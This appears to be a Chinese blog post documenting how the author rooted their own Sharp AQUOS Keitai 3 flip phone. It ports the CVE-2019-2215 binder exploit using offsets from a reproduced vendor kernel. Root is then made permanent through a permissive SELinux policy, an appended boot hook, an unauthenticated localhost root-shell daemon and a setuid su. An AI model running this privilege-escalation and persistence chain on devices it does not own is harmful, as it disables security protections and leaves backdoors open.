Clouldon Blog
    • 版块
    • 最新
    • 用户
    • 友链
    • 注册
    • 登录

    SHARP NP805SH ROOT 笔记

    已定时 已固定 已锁定 已移动 IE地球
    1 帖子 1 发布者 72 浏览
    正在加载更多帖子
    • 从旧到新
    • 从新到旧
    • 最多赞同
    回复
    • 在新帖中回复
    登录后回复
    此主题已被删除。只有拥有主题管理权限的用户可以查看。
    • 四折光曲四 离线
      四折光曲
      最后由 编辑

      设备:SHARP SG805SH/NP805SH/AQUOS ケータイ3
      平台:Qualcomm MSM8909 | Android 8.1.0 | Linux 3.18.71-perf
      结果:重启自动生效的完整 capabilities root,无需再运行 exploit。
      用厂商公开的内核源码逐字节复现编译 → 从带 DWARF 的 vmlinux 导出结构体偏移 → 移植 CVE-2019-2215 拿临时 root → (SELinux 策略 + install-recovery.sh 钩子 + rootd 守护进程)永久化。

      1. 资源

      资源 地址 说明
      Sharp OSS 页面 https://k-tai.sharp.co.jp/support/developers/oss/aquos-keitai3/index.html 必须用**商品名「AQUOS ケータイ3」**检索,型番 SG805SH 搜不到
      内核源码 http://ad-dl02.4sh.jp/developers/oss/aquos-keitai3/index_v2/download/AQUOS_keitai3_S0018.tar.gz 171,646,693 字节,md5 d0a7aa6d16cf9441731f61697660f88d
      ARM 工具链 AOSP prebuilts arm-eabi-4.8(android-8.1.0_r1 分支) 与设备编译器版本一致
      CVE-2019-2215 报告 Project Zero issue 1942 Jann Horn & Maddie Stone
      ARM32 移植 ★ https://github.com/flipphoneguy/root-sonim-xp3800 946 行,含 docs/arm32-port.md,本文 exploit 基于它
      3.18 PoC 参考 CrackerCat/cve2019-2215-3.18、Karma2424/cve2019-2215-3.18 3.18 分支专用
      基础 PoC timwr/CVE-2019-2215 流传最广的版本

      2. 复现官方内核

      没有正确的内核符号地址无从定位 exploit ,selinux_enforcing 与 cred 偏移。MSM8909 已 EOL,但 Sharp 公开了源码。

      2.1 环境

      • WSL2 / Ubuntu 22.04(.wslconfig 设 networkingMode=mirrored)
      • arm-eabi-4.8(AOSP prebuilts)、pahole、secilc

      2.2 配置与编译

      设备原厂内核配置位于 /proc/config.gz(4375 行,世界可读),直接套用:

      tar xzf AQUOS_keitai3_S0018.tar.gz \
          "AQUOS_keitai3_S0018/LINUX/android/kernel/msm-3.18"
      cp device.config ./msm-3.18/.config
      make ARCH=arm CROSS_COMPILE=$TC olddefconfig
      

      配置:

      CONFIG_RANDOMIZE_BASE        ❌  → 无 KASLR,内核地址固定
      CONFIG_SLAB_FREELIST_RANDOM  ❌  → 堆风水可控
      CONFIG_DEBUG_INFO            ✅  → vmlinux 自带 DWARF
      CONFIG_KALLSYMS_ALL          ✅
      

      编译命令:

      export KBUILD_BUILD_USER=sharp
      export KBUILD_BUILD_HOST=TG840314
      export KBUILD_BUILD_VERSION=1
      export KBUILD_BUILD_TIMESTAMP="Thu Oct 24 03:44:25 JST 2019"   # ★ 必须逐字一致
      HCF="-Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 -fcommon"
      make ARCH=arm CROSS_COMPILE=$TC CC=${TC}gcc HOSTCFLAGS="$HCF" -j20 vmlinux
      

      四个编译问题:

      1. scripts/gcc-wrapper.py 是 Python2 → 命令行覆盖 CC=${TC}gcc
      2. dtc 报 yylloc 多重定义(GCC10+ 默认 -fno-common)→ HOSTCFLAGS 补 -fcommon
      3. msm_sensor.h 找不到头文件 → sensor/io/Makefile 补 -I
      4. f_midi.c 找不到 u_f.h → drivers/usb/gadget/Makefile 补 -I

      关键:KBUILD_BUILD_TIMESTAMP 必须与设备构建时间逐字一致。版本串长度哪怕差一个字符,.data 段整体偏移,符号地址全废。

      2.3 一致性验证(决定性一步)

      strings vmlinux | grep -m1 'Linux version'
      # 期望:
      # Linux version 3.18.71-perf (sharp@TG840314) (gcc version 4.8 (GCC) )
      #   #1 SMP PREEMPT Thu Oct 24 03:44:25 JST 2019
      

      版本串逐字节一致还不够。设备 /proc/kallsyms 有 131,900 条符号,本地 System.map 有 128,305 条,最长连续匹配块达到 26,055 个符号。拿到 root 后用真机地址最终核对:

      符号 本地 System.map 设备运行值
      commit_creds c0138e84 c0138e84 ✅
      selinux_enforcing c146ef24 c146ef24 ✅
      init_cred c13171d0 c13171d0 ✅
      sys_call_table c0106b84 c0106b84 ✅

      3. 导出结构体偏移

      CONFIG_DEBUG_INFO=y 的 vmlinux 自带完整 DWARF,直接用 pahole 读:

      pahole -C binder_thread vmlinux
      pahole -C task_struct  vmlinux
      pahole -C thread_info  vmlinux
      pahole -C cred         vmlinux
      

      实测结果:

      struct binder_thread           size 0x134 (308)   → 落在 kmalloc-512
          wait_queue_head_t wait     0x50
          struct task_struct *task   0x130              ← UAF 后残留,可泄露
      struct task_struct
          void *stack                0x004
          const struct cred *cred    0x3AC              ← ★ 需要替换
      struct thread_info
          addr_limit                 0x008
      struct cred
          uid 0x004, securebits 0x024,
          cap_inheritable 0x028, cap_permitted 0x030,
          cap_effective 0x038, cap_bset 0x040, cap_ambient 0x048
      

      4. 移植 CVE-2019-2215

      4.1

      CVE-2019-2215 是 binder 驱动的 use-after-free。MSM8909 EOL 后厂商没有把 binder 修复 backport 到 3.18 的 MSM8909 分支。审计 drivers/staging/android/binder.c 确认:

      poll_wait(filp, &thread->wait, wait);      // 脆弱写法依然存在
      // binder_thread_release() 里缺少:
      //   wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
      
      检查项 结果
      POLLFREE 出现次数 0
      EPOLLFREE 出现次数 0
      /dev/binder 权限 crw-rw-rw-(任意进程可打开)

      对照:较新机型(如 SH-03M)的源码里 POLLFREE 存在,走不通。

      4.2 只改 2 个常量

      基于 flipphoneguy/root-sonim-xp3800 的 ARM32 移植版,仅需改两处:

      #define SELINUX_ENFORCING          0xc146ef24ul   /* 原值 0xc1310ae8 */
      #define OFFSET__task_struct__cred  0x3AC          /* 原值 0x39C */
      

      其余偏移与本机完全一致:

      BINDER_THREAD_SZ   0x134
      WAITQUEUE_OFFSET   0x50
      IOVEC_ARRAY_SZ     38        (0x134 / 8)
      IOVEC_INDX_FOR_WQ  10        (0x50 / 8,ARM32 下正好对齐)
      

      4.3 编译

      arm-linux-gnueabi-gcc -static -O2 -w -o exploit_arm exploit.c
      # 产物:673,424 字节,ELF32 ARM,静态链接
      

      ARM32 对齐、管道时序、两阶段泄露的细节见仓库 docs/arm32-port.md,不再展开。

      5. 获取临时 Root

      adb push exploit_arm /data/local/tmp/
      adb shell chmod 755 /data/local/tmp/exploit_arm
      adb shell /data/local/tmp/exploit_arm id
      

      预期输出:

      [*] CVE-2019-2215 exploit for SHARP AQUOS Keitai 3 (SG805SH/NP805SH)
      [*] start uid=2000 euid=2000
      [+] ===== ROOT ===== uid=0 euid=0 gid=0
      uid=0(root) gid=0(root) groups=0(root)
      getenforce → Permissive
      

      ⚠️ exploit 存在竞态,约 1/5 概率导致内核 panic 重启(只会重启,不会变砖)。多试几次即可。
      临时 root 只在本次进程树内有效,重启就没了——真正的工作在永久化。

      6. 永久化:三件套

      6.0

      Android 权限是三层叠加,缺任何一层都拿不到「完整 root」:

      层 障碍 现象 解法
      SELinux(domain) shell 域没有 capability setuid avc: denied { setuid },想写 enforce 又被拒(鸡生蛋) 改策略,把 shell / install_recovery 域设为 permissive
      capability(bounding set) adbd 的 bounding set 只有 0xc0 setuid 二进制无论如何突破不了 让 init 启动守护进程,继承完整的 0x3fffffffff
      DAC(uid) 需要 root uid — 前两者解决后自然获得

      实测证据:

      adbd(shell):  CapBnd = 00000000000000c0     ← 只有 setgid / setuid
      init(pid 1):  CapBnd = 0000003fffffffff     ← 完整 38 个能力
      

      这解释了为什么单纯做一个 setuid su 不行——uid 变成 0 但能力位不够,mount、读 /data/data 等依旧失败。

      6.1 A:SELinux 策略改造

      可行性前提:/system 无 dm-verity、无 AVB;init 优先加载预编译策略;plat 与 vendor 侧的 .sha256 内容相同(都指向未修改的 CIL),init 判定「预编译策略有效」直接加载 /vendor 里替换的那份。

      # 1) 用临时 root 拉取原始策略集合
      adb shell "/data/local/tmp/exploit_arm sh -c \
          'cp -r /system/etc/selinux /data/local/tmp/selinux; chmod -R 777 /data/local/tmp/selinux'"
      adb pull /data/local/tmp/selinux ./selinux
      adb pull /vendor/etc/selinux/precompiled_sepolicy ./precompiled_orig.bin
      # 2) 在 plat_sepolicy.cil 末尾追加两行
      cat >> selinux/plat_sepolicy.cil <<'EOF'
      (typepermissive shell)
      (typepermissive install_recovery)
      EOF
      # 3) 编译(★ 策略版本必须 30,对应 3.18 的 POLICYDB_VERSION_MAX)
      secilc -c 30 -o final_policy.bin \
          selinux/plat_sepolicy.cil \
          selinux/mapping/27.0.cil \
          selinux/nonplat_sepolicy.cil
      # 产物:435,814 字节
      

      风险控制:一定要先在 PC 侧用 secilc 完整编译验证通过再推到设备。策略语法错误可能导致无法开机。

      6.2 B:开机钩子 install-recovery.sh

      /init.rc 里有一个 oneshot 服务,以 init 身份执行脚本(没有 seclabel,不做域转换):

      service flash_recovery /system/bin/install-recovery.sh
          class main
          oneshot
      

      脚本末尾追加,即可拿到完整 bounding set,顺便设 permissive:

      # --- 永久 root:设 permissive + 启动 root shell 守护进程 ---
      echo 0 > /sys/fs/selinux/enforce
      /system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &
      

      保留原逻辑只追加这段;权限 750,标签 u:object_r:install_recovery_exec:s0。

      6.3 C:root 守护进程 rootd

      极简静态 C 程序(591,088 字节),监听 127.0.0.1:<port>,每个连接 fork 一个 shell:

      bind(... INADDR_LOOPBACK ...);
      accept → fork → dup2 → execl("/system/bin/sh", "sh", "-i", NULL);
      

      被 init 启动所以继承完整 capabilities——这是「完整 root」的关键。

      arm-linux-gnueabi-gcc -static -O2 -w -o rootd rootd.c
      

      7. 部署与验证

      7.1 部署顺序(全部通过临时 root 执行)

      # 0) 推入产物
      adb push final_policy.bin    /data/local/tmp/final.policy
      adb push rootd               /data/local/tmp/rootd
      adb push su_arm              /data/local/tmp/su_arm
      # 1) 替换 SELinux 策略(先备份原始策略)
      adb shell "/data/local/tmp/exploit_arm sh -c '\
          cp /vendor/etc/selinux/precompiled_sepolicy /data/local/tmp/precompiled_sepolicy.orig; \
          mount -o remount,rw /vendor; \
          cp /data/local/tmp/final.policy /vendor/etc/selinux/precompiled_sepolicy; \
          chown 0:0 /vendor/etc/selinux/precompiled_sepolicy; \
          chmod 644 /vendor/etc/selinux/precompiled_sepolicy; \
          chcon u:object_r:vendor_file:s0 /vendor/etc/selinux/precompiled_sepolicy; \
          sync; mount -o remount,ro /vendor'"
      # 2) 修改开机钩子(先备份原文件,再追加 6.2 那段)
      adb shell "/data/local/tmp/exploit_arm sh -c '\
          mount -o remount,rw /system; \
          cp /system/bin/install-recovery.sh /data/local/tmp/install-recovery.sh.orig; \
          printf \"\n# --- permanent root ---\necho 0 > /sys/fs/selinux/enforce\n/system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &\n\" >> /system/bin/install-recovery.sh; \
          chown 0:0 /system/bin/install-recovery.sh; chmod 750 /system/bin/install-recovery.sh; \
          chcon u:object_r:install_recovery_exec:s0 /system/bin/install-recovery.sh; \
          sync; mount -o remount,ro /system'"
      # 3) 部署 rootd 与备用 su
      adb shell "/data/local/tmp/exploit_arm sh -c '\
          mount -o remount,rw /system; \
          cp /data/local/tmp/rootd /system/xbin/rootd; \
          cp /data/local/tmp/su_arm /system/xbin/su; \
          chown 0:0 /system/xbin/rootd /system/xbin/su; \
          chmod 755 /system/xbin/rootd; chmod 4755 /system/xbin/su; \
          chcon u:object_r:system_file:s0 /system/xbin/rootd /system/xbin/su; \
          sync; mount -o remount,ro /system'"
      # 4) 重启(此后不再需要 exploit)
      adb reboot
      

      7.2 验证

      adb forward tcp:2323 tcp:2323
      # 连接 127.0.0.1:2323,即得 root shell
      

      期望:

      uid=0(root) gid=0(root) groups=0(root)  context=u:r:install_recovery:s0
      CapEff: 0000003fffffffff      ← 完整能力
      CapBnd: 0000003fffffffff      ← 完整 bounding set
      mount -o remount,rw /system            → OK
      ls /data/data/com.android.settings     → OK
      cat /proc/kallsyms | grep commit_creds → c0138e84 T commit_creds
      

      8. Root 之后怎么用

      adb forward tcp:2323 tcp:2323
      

      PowerShell 一行示例:

      $c = New-Object Net.Sockets.TcpClient('127.0.0.1', 2323)
      $s = $c.GetStream()
      $w = New-Object IO.StreamWriter($s); $w.AutoFlush = $true
      $w.WriteLine("id")
      Start-Sleep 2
      (New-Object IO.StreamReader($s)).ReadToEnd()
      

      两条备用通道:setuid su(uid=0,能力受限)adb shell /system/xbin/su id;exploit(完整 root,约 1/5 概率 panic)adb shell /data/local/tmp/exploit_arm id。

      9. 设备上的文件清单

      路径 内容 大小 / 权限
      /vendor/etc/selinux/precompiled_sepolicy 重编译 permissive 策略 435,814 字节
      /system/bin/install-recovery.sh 开机钩子(原逻辑 + 三行追加) 750
      /system/xbin/rootd root shell 守护进程 591,088 字节
      /system/xbin/su setuid root(备用) 590,704 字节(4755)
      /data/local/tmp/exploit_arm CVE-2019-2215 exploit(备用) 673,424 字节

      回滚备份:/data/local/tmp/precompiled_sepolicy.orig、/data/local/tmp/install-recovery.sh.orig。

      10. 回滚

      通过 root shell 执行:

      mount -o remount,rw /vendor
      cp /data/local/tmp/precompiled_sepolicy.orig /vendor/etc/selinux/precompiled_sepolicy
      mount -o remount,ro /vendor
      mount -o remount,rw /system
      cp /data/local/tmp/install-recovery.sh.orig /system/bin/install-recovery.sh
      rm -f /system/xbin/rootd /system/xbin/su
      chmod 750 /system/bin/install-recovery.sh
      mount -o remount,ro /system
      

      11. 安全提醒

      Root 之后设备安全性明显下降:SELinux 全局 Permissive;shell / install_recovery 域在策略层面被设为 permissive;/system/xbin/su 是 setuid-root,任何能执行它的进程都能拿到 uid 0;rootd 在 127.0.0.1:2323 提供无认证 root shell;/vendor 与 /system 已被修改。请只在自己的设备上操作,需要恢复请见第 10 节。

      12. 复盘:为什么这台机器能成

      1. 「设备真名」决定检索成败——型番 SG805SH 一无所获,商品名「AQUOS ケータイ3」就能找到官方内核源码;
      2. EOL 芯片的补丁缺口——MSM8909 停更,厂商没有 backport binder 补丁,CVE-2019-2215 可用;
      3. Android 权限是三层叠加——DAC / capability bounding set / SELinux,任缺一层都拿不到「完整 root」;本文分别用 setuid、init 启动、策略修改把三层补齐;
      4. 精确复现内核是前提——和真机逐字节对齐的符号地址,exploit 才不需要盲猜;
      5. CONFIG_DEBUG_INFO=y 的 vmlinux 是宝库——pahole 直接读出所有结构体偏移。

      本文为安全研究与设备修复目的撰写,所有操作均在自己的设备上进行。

      1 条回复 最后回复 回复 引用

      你好!看起来您对这段对话很感兴趣,但您还没有一个账号。

      厌倦了每次访问都刷到同样的帖子?您注册账号后,您每次返回时都能精准定位到您上次浏览的位置,并可选择接收新回复通知(通过邮件或推送通知)。您还能收藏书签、为帖子顶,向社区成员表达您的欣赏。

      有了你的建议,这篇帖子会更精彩哦 💗

      注册 登录
      • 第一个帖子
        最后一个帖子